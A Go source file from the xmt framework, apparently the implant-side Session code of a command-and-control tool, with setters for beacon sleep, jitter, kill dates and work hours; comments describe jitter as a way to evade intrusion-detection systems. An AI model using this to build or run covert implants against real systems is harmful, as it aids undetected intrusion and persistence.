github.com/iDigitalFlame/xmt@v0.5.4/c2/session_implant.go (about) 1 //go:build implant 2 // +build implant 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package c2 21 22 import ( 23 "sync" 24 "time" 25 26 "github.com/iDigitalFlame/xmt/c2/cfg" 27 "github.com/iDigitalFlame/xmt/com" 28 "github.com/iDigitalFlame/xmt/data" 29 "github.com/iDigitalFlame/xmt/device" 30 "github.com/iDigitalFlame/xmt/util/xerr" 31 ) 32 33 // Job is a struct that is used to track and manage Tasks given to Session 34 // Clients. 35 // 36 // This struct has function callbacks that can be used to watch for completion 37 // and offers a Wait function to pause execution until a response is received. 38 // 39 // This struct is always empty for implants. 40 type Job struct{} 41 42 // Session is a struct that represents a connection between the client and the 43 // Listener. 44 // 45 // This struct does some automatic handling and acts as the communication 46 // channel between the client and server. 47 type Session struct { 48 lock sync.RWMutex 49 50 Last time.Time 51 Created time.Time 52 connection 53 54 swap cfg.Profile 55 ch, wake chan struct{} 56 parent *Listener 57 send, recv, chn chan *com.Packet 58 frags map[uint16]*cluster 59 60 Shutdown func(*Session) 61 Receive func(*Session, *com.Packet) 62 proxy *proxyBase 63 tick *sleeper 64 peek *com.Packet 65 host container 66 kill time.Time 67 work *cfg.WorkHours 68 69 Device device.Machine 70 sleep time.Duration 71 state state 72 keysNext *data.KeyPair 73 keys data.KeyPair 74 75 ID device.ID 76 jitter, errors uint8 77 } 78 79 // IsClient returns true when this Session is not associated to a Listener on 80 // this end, which signifies that this session is Client initiated, or we are 81 // on a client device. 82 func (*Session) IsClient() bool { 83 return true 84 } 85 func (*Session) accept(_ uint16) {} 86 87 // Listener will return the Listener that created the Session. This will return 88 // nil if the session is not on the server side. 89 func (*Session) Listener() *Listener { 90 return nil 91 } 92 func (*Session) hasJob(_ uint16) bool { 93 return false 94 } 95 func (*Session) frag(_, _, _, _ uint16) {} 96 func (*Session) handle(_ *com.Packet) bool { 97 return false 98 } 99 100 // SetJitter sets Jitter percentage of the Session's wake interval. This is a 0 101 // to 100 percentage (inclusive) that will determine any +/- time is added to 102 // the waiting period. This assists in evading IDS/NDS devices/systems. 103 // 104 // A value of 0 will disable Jitter and any value over 100 will set the value to 105 // 100, which represents using Jitter 100% of the time. 106 // 107 // If this is a Server-side Session, the new value will be sent to the Client in 108 // a MvTime Packet. 109 func (s *Session) SetJitter(j int) (*Job, error) { 110 return s.SetDuration(0, j) 111 } 112 113 // SetKillDate sets the KillDate for this Session. This is a setting that controls 114 // the date when this Session will shutdown automatically. 115 // 116 // Use the WorkHours functions to create one or do it manually. If a nil value 117 // is passed (or an empty WorkHours) this will clear the current WorkHours setting. 118 // 119 // Changing the WorkHours when there perviously was a non-nil setting will wake 120 // the Session if it's sleeping. 121 // 122 // If this is a Server-side Session, the new value will be sent to the Client in 123 // a MvTime Packet. 124 func (s *Session) SetKillDate(t time.Time) (*Job, error) { 125 s.kill = t 126 return nil, nil 127 } 128 129 // SetSleep sets the wake interval period for this Session. This is the time value 130 // between connections to the C2 Server. 131 // 132 // If this is a Server-side Session, the new value will be sent to the Client in 133 // a MvTime Packet. This setting does not affect Jitter. 134 func (s *Session) SetSleep(t time.Duration) (*Job, error) { 135 return s.SetDuration(t, -1) 136 } 137 138 // SetProfileBytes will set the Profile used by this Session. This function will 139 // unmarshal and set the server-side before setting and will then pass it to be 140 // set by the client Session (if this isn't one already). 141 // 142 // If this is a server-side Session, this will trigger the sending of a MvProfile 143 // Packet to update the client-side instance, which will update on it's next 144 // wakeup cycle. 145 // 146 // This function will fail if no ProfileParser is set. 147 // 148 // If this is a client-side session the error 'ErrNoTask' will be returned AFTER 149 // setting the Profile and indicates that no Packet will be sent and that the 150 // Job object result is nil. 151 func (s *Session) SetProfileBytes(b []byte) (*Job, error) { 152 p, err := parseProfile(b) 153 if err != nil { 154 return nil, xerr.Wrap("parse Profile", err) 155 } 156 s.p = p 157 return nil, nil 158 } 159 160 // SetProfile will set the Profile used by this Session. This function will 161 // ensure that the profile is marshalable before setting and will then pass it 162 // to be set by the client Session (if this isn't one already). 163 // 164 // If this is a server-side Session, this will trigger the sending of a MvProfile 165 // Packet to update the client-side instance, which will update on it's next 166 // wakeup cycle. 167 // 168 // If this is a client-side session the error 'ErrNoTask' will be returned AFTER 169 // setting the Profile and indicates that no Packet will be sent and that the 170 // Job object result is nil. 171 func (s *Session) SetProfile(p cfg.Profile) (*Job, error) { 172 if p == nil { 173 return nil, ErrInvalidProfile 174 } 175 s.p = p 176 return nil, nil 177 } 178 179 // SetWorkHours sets the WorkingHours for this Session. This is a setting that 180 // controls WHEN the Session will talk to the C2 Server. 181 // 182 // Use the WorkHours functions to create one or do it manually. If a nil value 183 // is passed (or an empty WorkHours) this will clear the current WorkHours setting. 184 // 185 // Changing the WorkHours when there perviously was a non-nil setting will wake 186 // the Session if it's sleeping. 187 // 188 // If this is a Server-side Session, the new value will be sent to the Client in 189 // a MvTime Packet. 190 func (s *Session) SetWorkHours(w *cfg.WorkHours) (*Job, error) { 191 if w == nil || w.Empty() { 192 if s.work != nil { 193 s.Wake() 194 } 195 s.work = nil 196 return nil, nil 197 } 198 if err := w.Verify(); err != nil { 199 return nil, err 200 } 201 if s.work != nil { 202 s.Wake() 203 } 204 s.work = w 205 return nil, nil 206 } 207 208 // SetDuration sets the wake interval period and Jitter for this Session. This is 209 // the time value between connections to the C2 Server. 210 // 211 // Jitter is a 0 to 100 percentage (inclusive) that will determine any +/- time 212 // is added to the waiting period. This assists in evading IDS/NDS devices/systems. 213 // 214 // A value of 0 will disable Jitter and any value over 100 will set the value to 215 // 100, which represents using Jitter 100% of the time. 216 // 217 // If this is a Server-side Session, the new value will be sent to the Client in 218 // a MvTime Packet. 219 func (s *Session) SetDuration(t time.Duration, j int) (*Job, error) { 220 switch { 221 case j == -1: 222 case j < 0: 223 s.jitter = 0 224 case j > 100: 225 s.jitter = 100 226 default: 227 s.jitter = uint8(j) 228 } 229 if t > 0 { 230 s.sleep = t 231 } 232 return nil, nil 233 }